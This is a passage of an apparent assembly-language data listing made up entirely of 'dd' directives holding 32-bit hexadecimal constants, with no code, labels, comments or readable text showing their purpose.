0C0FE6F26h dd 7CE8F803h, 0B1E706A2h, 6A70D1EDh, 0E6C28FBh, 5A7A009Ah dd 19C1B450h, 0C60773E5h, 2D168512h, 95836F00h, 0C590049h dd 818FD506h, 0E7002275h, 7C2AB3Fh, 2CC8A3Dh, 0F8310FFAh dd 8080EF2Fh, 72D52E33h, 65D7C800h, 847A01ADh, 45970743h dd 10D377D8h, 0C4661169h, 0D78C7303h, 4F8634h, 29BB2492h dd 0E1827806h, 73EE5E0Eh, 1900B58h, 5FEB654h, 2E006069h dd 776D0F48h, 1E1EC06Bh, 0F280C633h, 1568636Eh, 62597Ah dd 80E1004h, 0CBD490ADh, 0C07EEE87h, 0AF604901h, 6483C792h dd 0FD861DAh, 9D9E1424h, 0EE6EB898h, 81848C07h, 25B0321Eh dd 3BBF70FFh, 685C03F7h, 0DAD43C60h, 0EC0085A1h, 0F6CD1437h dd 82D0C5h, 1A4BB119h, 0DDC087EBh, 0DC5A9800h, 70954234h dd 7F670032h, 9BB5C697h, 930013A0h, 362A8CB0h, 7CDF1ACDh dd 0FCE13EC2h, 0A500A3BDh, 9E1BF9E0h, 1600DE3Fh, 40865A68h dd 49186725h, 57006002h, 6EF07B78h, 615D061h, 1F8076CFh dd 0E4DE0E24h, 5B1F3F81h, 6C2BC1h, 18DCD900h, 0EA6642E3h dd 31DF490h, 3EFBA7h, 1AE92E6Eh, 5C55E2BCh, 4300BBE4h dd 97183F3Ah, 27005B32h, 0E06C60A2h, 1636B7E6h, 5D0BF2Ch dd 900BDA24h, 35D2918h, 0F4883126h, 0BBEC5100h, 9FAC7E14h dd 260EC01h, 0F6C6056h, 0E05C8C2Ah, 48181A0Fh, 38108089h dd 25A070Bh, 6F2BF48Bh, 0ECCCAF9Ah, 360017B0h, 7544E086h dd 4606CA2h, 0B34CC0E6h, 0D8FC8095h, 7C12A78Bh, 0F8E0CC1Eh dd 6FF02CBAh, 0C92200F9h, 0AA782505h, 0B5A7F800h, 0AC2F606Eh dd 0FC204DF5h, 0D0DFFF00h, 6F062C24h, 9E700378h, 1A4A1C00h dd 7CB2BB28h, 0EA5A2A93h, 0C3200BB8h, 4009ACEFh, 6800A893h dd 8B592909h, 7482E74Ch dd 2B6E026h, 4D39BA1Ah, 8189D69Ah, 0F8EA90DAh, 2B906A00h dd 9F812141h, 3078B8CFh, 7569968Ch, 0FD4BB90Eh, 0D5B3AC80h dd 885205CDh, 8469DA98h, 816CC04Ch, 0A14C94DCh, 63D500C9h dd 38C3303Ah, 0D0450F83h, 2B25ABC9h, 50D49715h, 4C477FA5h dd 0D3EE3913h, 4850EC0Ch, 0B2DD007Eh, 0A5EF1C68h, 38593AACh dd 2A4E00A0h, 0C0B9A07h, 0B75B00F0h, 4BE2D7B5h, 0F20B27ADh dd 0EC546Ah, 0DC3DCC60h, 2F300039h, 0C3EA5FE5h, 3E4A4617h dd 0D0E76C82h, 0F995089Ch, 83BD5123h, 18F5D6EBh, 9EB6988Ch dd 0CA8601ECh, 88D9DB17h, 0A58FD047h, 0DC5B4100h, 373FE959h dd 0C0CC92C3h, 0B5D0C6D9h, 0AC4972DBh, 58E92EF8h, 18F3DD01h dd 4824A85Ah, 0BD403A87h, 0CFEA8A1Fh, 70A034C4h, 69A73635h dd 0E5163Dh, 0DE61577Eh, 76F1ED3h, 9E7F5FF3h, 435DD378h dd 0BCE5E800h, 442366D8h, 0AF1E1821h, 81A4D8F0h, 0B0A5D905h dd 0F8C0894Ah, 13DAB672h, 61E9E51Eh, 0E71C7940h, 80EDE487h dd 0C5D2CFCCh, 0F065851Dh, 0F8E1C806h, 0DF1E02BAh, 0A83D3A3Fh dd 0DD07C8F0h, 2871EBB9h, 0A8DCCB13h, 636453A1h, 0E70C21EEh dd 942CC888h, 8A4E60F5h, 0E997BE00h, 11F9ECF4h, 9E7784Ah dd 8D452CDDh, 4B7A4821h, 343C2455h, 6094FA02h, 5CAB4270h dd 59C30464h, 1B0897C1h, 3B238810h, 0FD00DFF6h, 94EAF31Fh dd 5839A524h, 2061B054h, 6011D4C4h, 3C00828Ch, 311F7F53h dd 3886D3C0h, 92BB4D98h, 5151180h, 4A5820E2h, 90070774h dd 513FACBBh, 0A880ADC4h, 1F95E0BFh, 3A5D3055h, 0FE08E680h dd 0FCEC6FC1h, 0B80E7Ah, 0DC00F773h, 6129B0BFh, 70286A03h dd 83EC1D25h, 0B7194079h, 84AB9204h, 56E83727h, 20490011h dd 71FC5A08h, 0BC424C00h, 3BDDC206h, 9220047h, 7344805Ch dd 0C81238B9h, 93074E96h, 6870E1E9h, 5370BE8h, 485CB5F3h dd 1510C08Dh, 0B200E501h, 9285D703h, 24F3C18h, 0A6C33A7Fh dd 0BC809887h, 32CFC025h, 6678004h, 44C0BBCBh, 0BD1201h dd 63852DD8h, 0A066C70Ah, 57D4F200h, 0AC3D2C6Eh, 12C5008Ch dd 0DAF6E022h, 74047859h, 0F9D9D62Fh, 5FEF2880h, 0C42095C1h dd 2E1ECEBCh, 14EAD700h, 71295D43h, 46F8A898h, 0DE360308h dd 0D818940Eh, 245DF199h, 2EA060Ch, 0F31B7000h, 9D99DA1Ch dd 791973E4h, 0D1D254Bh, 54A60E0h, 2E3FCFE4h, 1ED8813Eh dd 2C956678h, 4D46971h, 14612E45h, 43B50F0Eh, 0AE8A7h dd 803B2DC4h, 0CDF188C0h, 7982641Ch, 5A8F0372h, 9FC53D36h dd 0DBFB7BD8h, 448A7E02h, 486D4831h, 7FDA2E8h, 3909F03Dh dd 341A9272h, 2000C070h, 3F8C5816h, 46E082h, 14F0A296h dd 8935609h, 9CC0CBECh, 0FA861977h, 0B4F627E8h, 6B02F060h dd 0BABFFF00h, 0B6132CA0h, 0A822956Dh, 8055B2DCh, 0FCCDEDCBh dd 0C37D0998h, 98C0A019h, 0F8484145h, 0A9F60094h, 77AA6018h dd 5F710069h, 51EFDFD2h, 23050D2Ah, 163E5D76h, 0DDA9F091h dd 4F18093Eh, 7F3C3481h, 166462D4h, 0CC0014C8h, 10265C33h dd 7E2B1341h, 0B6688CEEh, 2180B159h, 0C028A692h, 0B1BB5435h dd 0DA0A7201h, 0AE52F0C3h, 0D9CC4C2Ah, 4A028878h, 30CC3DE9h dd 0AC5018h, 727367EEh, 5ABED7Ch, 0DEB6910Bh, 0B4A02006h dd 0C11D8Fh, 1A301BAFh, 0BE6DD6A9h, 0C053324Bh, 48FE825h dd 69F36077h, 4FBB2510h, 81F98500h, 3DB96E8Ah, 0FC3401FEh dd 508DC3CEh, 0CBC6787h, 411C4CD0h, 0A14E005Eh, 0EB4783AFh dd 81EA92F2h, 0BFCD4F6h, 1A07610Bh, 35702210h, 98472698h dd 67C40802h, 80EE4858h, 0F020DEC8h, 0F1311832h, 153E6847h dd 0EF089C0Bh, 19E48110h, 0FC30FFC7h, 0D4B8277Ah, 37754810h dd 0B355A67Dh, 2C74FAC8h, 0E800C422h, 183A12EAh, 7A44F9Eh dd 0BCA16FB6h, 0A016B243h, 0B7343CC0h, 0A3B00B06h, 26A06107h dd 2C7510BDh, 0C026CCh, 97B31AE3h, 610C3A41h, 0B8D2315Ah dd 0DBBD1945h, 0EFE0B021h, 0EF71F9A0h, 5758A470h, 1F0273Ch dd 0E5200E90h, 0CD080DAh, 0A8D5F38Dh, 1CE6CBA4h, 53156C7Bh dd 222800EEh, 99EC0C8h, 4EA535Ch, 58E673Fh, 263C9C80h dd 98CB9063h, 0D77C1FE4h, 52104B62h, 7DC54800h, 6C069792h dd 21AEACB9h, 3C860019h, 93BBC93Ah, 300FA678h, 38DCD140h dd 3EA3D670h, 20DA5EEAh, 5DAB4A48h, 0DC7C492Ah, 67196313h dd 3B610440h, 5D2F81AAh, 0A52C002Ch, 0BD7C40B8h, 0DE01706Ah dd 648B5B97h, 0DBE07131h, 4A2500C3h, 0D1082D2Ch, 0D500F6CDh dd 2864BBC0h, 0D8D924h, 0B5BCD6EDh, 36789747h, 0E5A75700h dd 0AF04D24Dh, 4B8B009Eh, 7F2E3C9Fh, 77002A13h, 0D6C619B9h dd 76B59Bh, 82E998EDh, 0A03F31C5h, 1EEB3C3Ch, 6B00EED1h dd 9BB12FF6h, 0F77E0F34h, 19671B0Fh, 0B0F4A1FDh, 0CE05E866h dd 81C32100h, 0F34CF9EBh, 93AF0050h, 0CD39D99Eh, 0E41687A9h dd 5001BA9Ch, 0D115D7DAh, 77DC406Ah, 7CECB586h, 0E5718101h dd 73B434AFh, 0D01D9040h, 391A0063h, 6BB29A97h, 9F4F101h dd 9B8058B6h, 2C56B6BEh, 482707C6h, 0E090F90Ah, 19765141h dd 0DDCA6C07h, 1F910431h, 40C26EC7h, 20339C08h, 3C008891h dd 602CBDAEh, 193A02Eh, 0F4F5D5C4h, 0D41B4367h, 0BC2EEA42h dd 19009907h, 0EBD12D77h, 54EEE2A5h, 4E0AF493h, 61C0442Bh dd 3AB7008Bh, 3F2732h, 685A8ADCh, 4204C37h, 0FA0073E6h dd 70AD241Fh, 2C2CC239h, 90685FD6h, 0E0045B25h, 0C7007008h dd 560B6487h, 0ADA0C5ECh, 6800BD4Ah, 0FF664146h, 488379F8h dd 600010DDh, 62863045h, 0DE5EC80Dh, 80D76C80h, 0CC492F4Eh dd 0FEAB1882h, 0B0AE300h, 0C98800CBh, 7A83DFE0h, 0BE1D577Eh dd 0FC0F382Ah, 2906E064h, 907C67E4h, 40441ECDh, 86A9C3DEh dd 738B4AD1h, 0EC4CE4C0h, 1258C960h, 26FA009h, 4065117Dh dd 0F8F0A9BFh, 78A38701h, 0B826242Ah, 23F184C1h, 0A800C38h dd 0DEABBE91h, 2EB4FB00h, 4419C2B6h, 0BC75001Eh, 234CADAAh dd 95717ED4h, 2AB43503h, 0C8131FCCh, 0ACAFD18h, 0AA9DBF3Bh dd 81811DAAh, 0D01AAF05h, 0BDB0429Bh, 8E091444h, 8053435Eh dd 24C9D938h, 1E050031h, 0FE3F628Bh, 0FC096A77h, 1004C5EFh dd 999A38h, 0F202CEB7h, 6F07ECCFh, 8F5B226h, 0E057470Fh dd 7FC8105Dh, 3D5AE256h, 0A2DC27F8h, 0DC87B500h, 5C8F6811h dd 0B25E5102h, 80DE2A28h, 0E8554B9Bh, 97D3006Bh, 0E2F83DA8h dd 0AB004453h, 0DB487D8Dh, 0C335F83h, 30DCCD24h, 0B0A0EA70h dd 1601774Dh, 0C7736863h, 93E48BFAh, 2C8BBD23h, 6481000h dd 9A008354h, 38258D21h, 25B1B3D8h, 1C8F0B4Bh, 0E8190240h dd 0C824F3F8h, 21005839h, 5AB52659h, 0EDEE16ECh, 644E02B2h dd 34E08954h, 81587B32h, 4E7D1610h, 150C4847h, 0FE02EC91h dd 8860FBDDh, 9E9003A7h, 7EA65919h, 0FD44B82Ch, 4846303Ch dd 33D4237h, 2602050Fh, 0FF8076DCh, 2000325Dh, 0C1E0FA03h dd 3CE5702Dh, 345DC813h, 0E0F43318h, 0D9134A2Fh, 0F0C0C476h dd 4B8875FDh, 7B54C147h, 723434CFh, 8077C83Eh, 0EB8A38E3h dd 2891FAh, 7C0A25B7h, 0F262DD7Eh, 4547718h, 42CAE2E1h dd 0D5A680F1h, 71F629E0h, 16A4BF3h, 69A8DF68h, 7603C53h dd 0F911E3B9h, 0ABA7E810h, 9E3300AEh, 0CE70E10h, 0C400B6A5h dd 717A68B5h, 2605E65Eh, 1324704Ch, 0E1480085h, 3B42AFA0h dd 78795400h, 0CC5D7159h, 0B3A501ECh, 14BF3F46h, 2F24682Fh dd 9890CBA0h, 3325481h dd 0C88CB956h, 0FDB32EE6h, 0BC048806h, 0B608918h, 1A32CE3Fh dd 6040A42Bh, 0E6037FE3h, 4B3981C6h, 0F585F8A2h, 8C9AADh dd 90281C42h, 0F96A4DEAh, 60A3CB25h, 7DA784B8h, 1C355DF8h dd 33288D00h, 5BC2190Eh, 7493945Ch, 8B867100h, 0DC6A0676h dd 992300CBh, 0E1640805h, 963FAC3Dh, 8DE201D7h, 0AA28117Eh dd 34B3EA40h, 452600A1h, 0D15AFC16h, 820083A8h, 4AA7A3EBh dd 0F5356h, 0B965AD90h, 0A3375E7h, 0C4F9D203h, 9B42Ch dd 0BDE102B8h, 19CA4B28h, 0D7EC831Dh, 0B4C41740h, 26750D1Ah dd 1D83EF9h, 771F120Ch, 0B71180BEh, 2E11CB82h, 0B94A1C57h dd 90DC2C53h, 69410C30h, 75F990h, 4B08BE15h, 856DE0F4h dd 0F7AE3900h, 0E8FF0632h, 6E220440h, 0C514B9A7h, 31F40090h dd 742B4987h, 0DB67AB3Bh, 3D7DE881h, 0F6206011h, 69CEAC64h dd 61D5202Eh, 5E26EA1h, 0CDB5878h, 1648A81Eh, 0F8E0CBFDh dd 3319079Fh, 0A6231494h, 18009068h, 0C291A22Fh, 1C82B127h dd 0C0754A99h, 0BEEEEF41h, 127AFA80h, 17075F00h, 828AE308h dd 135D7D0Ch, 4E4CFFh, 0A61E40E0h, 0DE3E59C5h, 90E1971Bh dd 92971401h, 0E46D84CEh, 0DBDABC00h, 0F5DD1D0Dh, 7A79E307h dd 0E597BEEAh, 0C0A2F600h, 0F74B0B73h, 0FB873102h, 58B88005h dd 6F5CB3A0h, 0FC10FA00h, 14F3D3F9h, 510D5203h, 4AF83629h dd 0B2D43F5h, 2E0E445h, 0EAA7DAB3h, 0E920A28Ch, 0F01CB8h dd 650D87ABh, 31E6FC32h, 0F4756C2Ah, 6FCDCF01h, 9489EE48h dd 2B7AF0h, 0E6DDF632h, 0F050614h, 4059BE00h, 441B0D18h dd 0E0C50974h, 0C028DC3h, 0F7224B61h, 85B5303Ch, 0D882575Eh dd 1745E11h, 0B48F1255h, 0B644F487h, 800163E4h, 383DD59Bh dd 3196AE3Bh, 22F8A0DBh, 31CB281Eh, 0DC706CC9h, 2B40BDFh dd 85C0508Eh, 4BEF3A63h, 0C234BA00h, 96A4EA31h, 0A1107BFh dd 0D01C4D8Ch, 993372EEh, 7ECB9800h, 0F06A6530h, 408F00E0h dd 0C3B65C55h, 750086BCh, 0D89915CDh, 0C87B23h, 24C7FA1Eh dd 0DB400E14h, 0A32FF200h, 0F7E353CCh, 802D0EE6h, 2561FB2Ah dd 2BAFD168h, 0C7DDE000h, 0F218EA27h, 73A300BEh, 0E9B9FD19h dd 0E50090C4h, 9FC2AB3Dh, 1ECA581Eh, 0C026101Ch, 9D458465h dd 9700B93Ah, 301222AEh, 488EE74Dh, 0F6052A91h, 0E87937A7h dd 0AF100918h, 5840A0E0h, 1D7EC122h, 9FA72E9Dh, 0CBE24094h dd 0BE431889h, 2600017Dh, 0FE8FF355h, 0EF1CF42h, 0A3D22E20h dd 134032E0h, 209017FFh, 100078F4h, 89A4C2E0h, 265A189Fh dd 384DE4h, 73CD044Ah, 760031BAh, 0C6AD11EBh, 11FB0BEh dd 399D1880h, 0E40A8241h, 5D128E78h, 40812E55h, 0F1142AE7h dd 4FD82C68h, 3D906800h, 88B804h, 0EE2EF862h, 0CE61C2A5h dd 17734B0Fh, 8E0C3E13h, 90A010D9h, 1EA30128h, 7C2CC1D5h dd 94C28C0h, 0A014DE52h, 0E0D7FEECh, 0EEB8CB93h, 0FDE2FF81h dd 7B799DD5h, 948B965Fh, 984F015h, 39143579h, 557A7868h dd 342D48h, 4338C5BBh, 3754503h, 7D24B41Fh, 38008A88h dd 0FFE964A2h, 2DE13D6Eh, 0F0097F0h, 0C0B11875h, 0BF9E2C19h dd 106C8DA1h, 7C23409Eh, 35621639h, 152E68C3h, 0F4ED3DDh dd 41AD3C59h, 0AEF667C0h, 0B7232A0h, 0EA5050A9h, 0C7EA04E0h dd 0FFE1A500h, 8A67E746h, 5F301796h, 0A060C709h, 889AD7C2h dd 0FDF02000h, 68038EA1h, 4621C050h, 90F1F664h, 0CDD06E02h dd 0E24F4AEEh, 40E45ECAh, 577E7212h, 0BD19948h, 0D3FB3Eh dd 27CD3104h, 0D86001ABh, 86963C1Ah, 0F0D821EFh, 6A0EC7F6h dd 0E0195AAFh, 3D6F4DFAh, 8809517h, 0A4CB6ABh, 0F0605Dh dd 0DC3C2179h, 904FADAFh, 0E25B0FEAh, 0EC67FE29h, 3DAC90F4h dd 252486D8h, 0F081785Dh, 65B6590Ah, 0BE6C046Eh, 9D770547h dd 0E9D19420h, 0A4042A5Ch, 84CA00BCh, 4B548AB2h, 8E26F1A8h dd 1801B8FBh, 0CDCC59Bh, 17BA4920h, 0E0AA7CB2h, 91F0C2A0h dd 0A56CFD18h, 4DBFEEh, 6B139AB2h, 83A68830h, 11D0E830h dd 0B3E3C6h, 0E153FCC3h, 345CC715h, 1F6F5400h, 9BF0FAA8h dd 0E4697D73h, 12840036h, 0BABCCF31h, 47033B48h, 0B9C0E855h dd 0D9F9A065h, 91790758h, 0A0A0EC41h, 5D70108Bh, 0C2B7EA0Bh dd 0AB9C01BDh, 0B4246B79h, 8620002Ah, 6787D769h, 0A800F606h dd 6307CD95h, 14B8842h, 0C01139CEh, 6435A533h, 8595D3B8h dd 10B0FD80h, 0DD4E1780h, 80F45D2Eh, 0F6A58644h, 901EA67h dd 703CBE1Bh, 1CFE6FEh, 9A11EF79h, 70A5DBBBh, 6E783476h dd 0C4380703h, 0CFED4716h, 20842089h, 6E76703Fh, 8AA920B2h dd 7474385Eh, 924E0098h, 1B80D353h, 0F7007825h, 0B5950521h dd 0FE72A662h, 35ED2807h, 64493438h, 2003AE38h, 6BDA291h dd 90F81618h, 0B00A878h, 0EBBE3BA8h, 6A95B6h, 0DA34F14Bh dd 1018CC12h, 16C8901Eh, 6438EDCAh, 92202B90h, 364CC195h dd 0FDC7C510h, 6DB4F00h, 444D6224h, 64940009h, 6FE8E37Fh dd 4B00E534h, 0C3ABC71h, 0B64EF3h, 3EEA3912h, 0F89A3FE3h dd 1B1DFE00h, 0D2F3B062h, 25FC0Fh, 0C7E6A9D6h, 0C4BE077Eh dd 5398ED54h, 0ADB71400h, 0EC452F0Eh, 5F1600C7h, 3B189793h dd 1D2AEE34h, 6A1CA8EAh, 6E4010B5h, 0F8DE7829h, 0E018C250h dd 0C090F7F2h, 0BD4834C7h, 219000C5h, 0ED135D85h, 0CFFD0C0Eh dd 66CEE133h, 6B290092h, 7B1F8C6Fh, 0E50C7579h, 51ECC51Bh dd 0BCD00063h, 8C170AF8h, 700475Fh, 43B8C265h, 30FED56h dd 0ACB3F723h, 37C02217h, 0A7000164h, 9E351DF0h, 0CEDC78h dd 94BAE8EAh, 3677AC3h, 1FEE421Ch, 0DF9CD9B0h, 949E1F6Eh dd 0F6F209B9h, 0BDA04C00h, 461ECF21h, 991824A3h, 0CDBBA9h dd 0AB01909Eh, 61504D13h, 416B690Ch, 0C39FE8B6h, 81669429h dd 6252E901h, 0D6C52764h, 5429D980h, 0EDF63C47h, 0C9D0A102h dd 0A02A5B9Ch, 0E4A0C5BCh, 8DDB0050h, 1B3266B0h, 0AC1E13BFh dd 39C05435h, 6ED27987h, 5E110118h, 0F1D3C107h, 8FD7D1AEh dd 80997208h, 7CA638CEh, 327493h, 0B4A08A6Bh, 0A85F9178h dd 317C87F8h, 5D9D1007h, 8FFF77B3h, 80C607B4h, 106C46h dd 0A1D87DA3h, 49D379E7h, 0AB03F100h, 8F67AC51h, 0A4B5002Dh dd 5EA762CEh, 0B33C63A2h, 0A532037Ch, 0D7319E60h, 0C7086E86h dd 0B7A33630h, 0F0ADC791h, 6BB04DCEh, 0F8359C01h, 0F92F9D78h dd 41E6449h, 4DB8E0BBh, 0C610C31Ah, 1918B78Ah, 7A218D07h dd 80DC0E0Bh, 5520C6DAh, 0F27469A7h, 41625A00h, 96B40242h dd 167E0Fh, 0CFCBA8F7h, 304CAE63h, 11690E60h, 3B5FD7Bh dd 0D39C8A83h, 8337270h, 0E8CC2114h, 0F08EFDh, 84C7FEA6h dd 59F722FBh, 81611739h, 697C85E3h, 0B0C72765h, 309A18BCh dd 0FE49B3B8h, 0D8613A33h, 154E96B0h, 321459BEh, 0C830748Fh dd 3960CDF9h, 0C90D4300h, 7EAB1733h, 77520072h, 54028093h dd 0A418F32Fh, 535009D9h, 0D8238BB4h, 0FD770150h, 186A83B9h dd 7FB0881Dh, 83ADFD00h, 0F3EECB2Bh, 7C980AA5h, 194C6F7h dd 9AE23384h, 64188EF2h, 0EE01902Bh, 9B551C0Eh, 821083DDh dd 3D48F33h, 0C0D83B40h, 0D93BBE06h, 774D80A1h, 0B2AC8C1Bh dd 8946E40h, 898021F8h, 4A424D06h, 1991B31h, 0ED3DA42Dh dd 0F4CB4E7Eh, 0F60159C4h, 6E965738h, 0C5E473D5h, 0D2CC0299h dd 0E28CC6BDh, 0C0880C48h, 0B1E88118h, 6BCE11h, 4C27D313h dd 7C2F0DF4h, 21C308CCh, 13520170h, 4D91297Ah, 0FC81800Bh dd 2D653FE5h, 0DC9A551Bh dd 0E28750F0h, 8EBCA097h, 136414C3h, 0E80A80C9h, 7440C06Fh dd 0E100B946h, 0CF1A1490h, 8514737Eh, 83903101h, 18FE4696h dd 39A7E899h, 0C401287Dh, 0E1B0B892h, 198ED20Dh, 0B1D809AEh dd 6B1E874Eh, 0A980DD1Fh, 0ADF65E01h, 9006E4EFh, 87460C50h dd 88201D4Bh, 0F1A9A01Fh, 17990F84h, 0A72F5203h, 2D3491DCh dd 0C63020D0h, 0BE137D18h, 285B8AF8h, 5FCEBBFh, 86FFA3C0h dd 3B984C40h, 83314390h, 0CFB820C5h, 93E59983h, 0CDA04673h dd 0CE60BC21h, 0EB58F019h, 47762810h, 2BD46A4h, 27CF1367h dd 10B5312Ch, 3134E64h, 0BC4C9029h, 1900BDE3h, 601ACF84h dd 0E03F017Ch, 90F338ABh, 28F55681h, 223AEEA6h, 30A5F258h dd 75003AC0h, 0EC918515h, 1161AB9h, 18C6AC84h, 40DC677Dh dd 57338890h, 4DE080ABh, 18C6A49Fh, 0AA1DA2Fh, 9D60727h dd 7DD20EB8h, 66B79D40h, 4B07B029h, 649B8F5Bh, 670FE034h dd 18DCB059h, 7B4D08BCh, 8FC4AC1Bh, 4D857C40h, 6106BED0h dd 0F39743BBh, 0C7EE90h, 1691E736h, 93BD8FF7h, 12D2AC3Eh dd 38400931h, 8453A343h, 5587247h, 0BB7E6C04h, 0CED840C2h dd 10143616h, 5CB49001h, 4478AA17h, 1373C4h, 2708A02Ch dd 58D1F3BCh, 5E70E800h, 594B5FCDh, 98150E8Fh, 0CC8CBD78h dd 0A603051h, 90CE5879h, 358E02E7h, 632F53F3h, 8881544Ah dd 3AF1754h, 0E67BE188h, 9355B050h, 7E8180C4h, 0DA12527Fh dd 0E02117BDh, 40E1A0C6h, 0EFB90843h, 19287086h, 20C7638Eh dd 0A781815h, 0A8E38868h, 0EA1B80D8h, 9D982074h, 0DC59281Eh dd 0AE624882h, 4BC6C4Eh, 83B7FD8Dh, 2015629Ah, 0EBFD75C6h dd 21A5F8E5h, 0D252A402h, 432B8425h, 1AD02893h, 70CA06E4h dd 0D8CB3755h, 29BDC13Eh, 11198C5h, 0A6376A00h, 140BE4B5h dd 0FB52D500h, 0EA4C8610h, 83670041h, 0F0A99DB2h, 0AC9CB875h dd 0BD02F792h, 61745161h, 0A83458A4h, 8E21C7FDh, 0FE5C50D9h dd 0EC12C7CFh, 54011B71h, 32AD874Ch, 788EC844h, 50C0BB88h dd 34A6FCh, 17BA3FF9h, 6518C45Bh, 0E8C52F33h, 0FEEBC9F0h dd 8C68441h, 0AC4F3C30h, 0FD8C04B0h, 62A283B6h, 74C72016h dd 73006FFDh, 0F7E17EA4h, 62F47DB1h, 0EC1C8A9h, 0B6B04A00h dd 629829C9h, 191D5930h, 243BBBFCh, 4E40E4CFh, 44DE51EFh dd 939B06D1h, 0AAF01CC0h, 0EC0FDAD6h, 0C3C2B297h, 7E36384h dd 0E45869E1h, 88C0964Eh, 79025246h, 7A83BBFDh, 0CA101831h dd 4707FD81h, 158B3D94h, 9C0703h, 16A68779h, 6082FA1Eh dd 741E9F4Ch, 2320964Ch, 4DBA01DAh, 18BC1B79h, 838288A8h dd 0EC5B4D00h, 16F7186Ch, 0BA461353h, 23442F3Bh, 0A26803A9h dd 0BBA13BCEh, 0D03424CDh, 12E53C04h, 2882969Fh, 13693087h dd 7C27D911h, 6E80B888h, 76F81350h, 1BC01E7Dh, 3CD14236h dd 5CC09333h, 0F76243BDh, 5184C669h, 0DBC94020h, 0B5E6AC1Dh dd 5000FFEh, 0BDD04366h, 1E8AAB6h, 0DF3AF2C6h, 62AC5C40h dd 0E4BE2EB4h, 14AF1608h, 12BCDC63h, 56CF008Ch, 0ADEBA37Ch dd 510C72F2h, 0B8BF0B97h, 0CABB223Eh, 0BD00ADF2h, 0D524C998h dd 3F804F13h, 321D607Eh, 0CB95E21h, 17D19107h, 6C1A400h dd 0C87815B3h, 0B27A01ECh, 522D6A9Ch, 0CC85EE51h, 0DBE008C6h dd 784DB9C0h, 2284461Bh, 828300AAh, 0A4640D4Dh, 0E90CBF18h dd 883EFE06h, 91FC1785h, 0E454274Ah, 863740A6h, 0F6CB9011h dd 8D7F02E6h, 29018863h, 0B8613C81h, 91C0316Bh, 7E0096C9h dd 0F546F6A7h, 0DE00A198h, 2B2585B4h, 0B87AD73Fh, 466890CCh dd 9DD487Fh, 0B3C4516Bh, 9847BC68h, 0FF5650DBh, 5068ED1h dd 33E0FA6Dh, 63F407C0h, 40644B58h, 0C3AB2F51h, 0D0ADC4A0h dd 74F0AA14h, 0D2029234h, 937C5166h, 0F28234h, 36F1D68Dh dd 17DDB58h, 5BA43307h, 0F820FFB3h, 0C728A50Fh, 9360B8FFh dd 0E70DD3h, 0D734D1F5h, 0B109DA70h, 0ADF42D12h, 0C0BE9C08h dd 27D21366h, 0B6224446h, 0AC6548h, 0D6664E6Fh, 2F28E5Eh dd 0F276BDBh, 0F46811B9h, 91519F2Fh, 0C4CC0C84h, 0F4020A00h dd 0CA3C95E7h, 983303D8h, 0F0D114A7h, 0A86C3826h, 4174674h dd 0B8A8A726h, 72B0CC8h, 2A4C9EC2h, 0CCBB62A4h, 70C4A08Ah dd 4684AEE3h, 0FD760251h, 677283C0h, 7EB107E4h, 280162FDh dd 0D4B04844h, 0B84698D3h, 1199A07h, 0A9CEDE92h, 74653E75h dd 2951F56Ch, 0FC53EEACh, 0F56DC70h, 98037802h, 0BA01F50Bh dd 0ECE18A05h, 80ED30BDh, 83F141A9h, 15A801Ch, 9F7C706Bh dd 9DD0EC2Bh, 0ABCAA089h, 140790F2h, 0C794F155h, 18F074E6h dd 8474BF5Ah, 3628DE01h, 0C223072Ah, 14B2C463h, 87F030h dd 212C2D94h, 596DAC0h, 0C63FBD15h, 0C0B728F4h, 40F70CFBh dd 0DCB2D0B4h, 24DFAD04h, 6A09A4A1h, 0B41BCF84h, 40184A74h dd 0CA419206h, 4BE732Dh, 0D9571E07h, 7D00801Ah, 0F7189489h dd 14298E06h, 18E4390Eh, 988BB00h, 1561101Ch, 46437003h dd 0F86DCFA5h, 75B96676h, 0F0D0C08Bh, 0D65196AEh, 0FE24709Ah dd 55611C25h, 8400C6A3h, 0EF4E675Bh, 0C0C18848h, 1B764DBFh dd 302C944Bh, 4D880081h, 6CAFFAF4h, 0CB01EFC7h, 451B97CDh dd 6097DF5Fh, 0CBC6F24h, 6E0B98E7h, 56833CA3h, 551B5F83h dd 5800C7C3h, 8B02FD1h, 3BBD0A30h, 41E289C6h, 8481365Fh dd 52F39C9Ah, 8082C7BCh, 7408D8B8h, 8E465Ch, 1484227Eh dd 50D11727h, 2987F01Ch, 0E83D01h, 80C08251h, 0D331E891h dd 2BFE0876h, 6B3F1822h, 0B77003CAh, 0F89A5B05h, 4B60BC82h dd 3079A461h, 0F78C81B8h, 585165D4h, 92E114D4h, 8FE0D7DDh dd 0B7542B03h, 880851E4h, 809807DAh, 4943B80h, 0F2016FD9h dd 72E20C6Dh, 342C8FADh, 1D24111h, 68786BB7h, 9DEA0C51h dd 808F1194h, 84F45CABh, 0A2C10133h, 0D7C9A5EFh, 0CA042140h dd 13136830h, 8B5427D4h, 536F0094h, 0B24FF313h, 0A6E322DCh dd 0E437CA00h, 812E5AFDh, 0BE1A0AE5h, 5E58AC93h, 0AD00A446h dd 2223A35Bh, 0C7077F0Eh, 85B90207h, 54D0A7B4h, 9E2B6518h dd 8D01724h, 5280C578h, 0C445FFA0h, 6DD33955h, 1CA8FB82h dd 1C61C054h, 66608C2h, 0E8963D56h, 460BC9A4h, 805F8954h dd 3E6BBB8Ch, 63D4E7C4h, 47C9CAFh, 0B0581D14h, 6CB1D134h dd 0FE637081h, 0B8F81BFCh, 13A90191h, 21EF278Ah, 1FB60705h dd 80D97E10h, 30907458h, 0C69180A8h, 0C365861Ah, 79607150h dd 0D118B9h, 0EF15BECCh, 0C0B00BFCh, 41098E77h, 2B60AA3Eh dd 11DC1D20h, 0C1AA8F8Dh, 7B5F3749h, 5C341C71h, 0D11CB9A5h dd 4B218C3h, 45896D1h, 1084CEAEh, 8804A9EBh, 8DC4433Bh dd 84CC2CA0h, 0C0E0BA70h, 7124A031h, 9190127h, 29680BF1h dd 0C79C20FBh, 0B838A063h, 1E31226Bh, 7649700h, 0F77E62B2h dd 9DCC00FDh, 14A8AD7Ch, 0B71A931Eh, 0BA68E115h, 595C51C0h dd 30C9188Eh, 9D16E576h, 989AE764h, 0E35B8209h, 4D38A4FBh dd 7188CE2h, 712A4197h, 0F72C0477h, 3300F774h, 6DB6AC12h dd 0FEF10586h, 27D6D83Ah, 8D4DE048h, 12875C1Bh, 12C0147Eh dd 0BD257904h, 81A0F217h, 0CB93923Eh, 2C09EEE4h, 17CC0DDEh dd 23083AEFh, 2FF10015h, 4E31537Eh, 0FB9F0604h, 893ABE8h dd 2092E079h, 330F0046h, 214D738Ch, 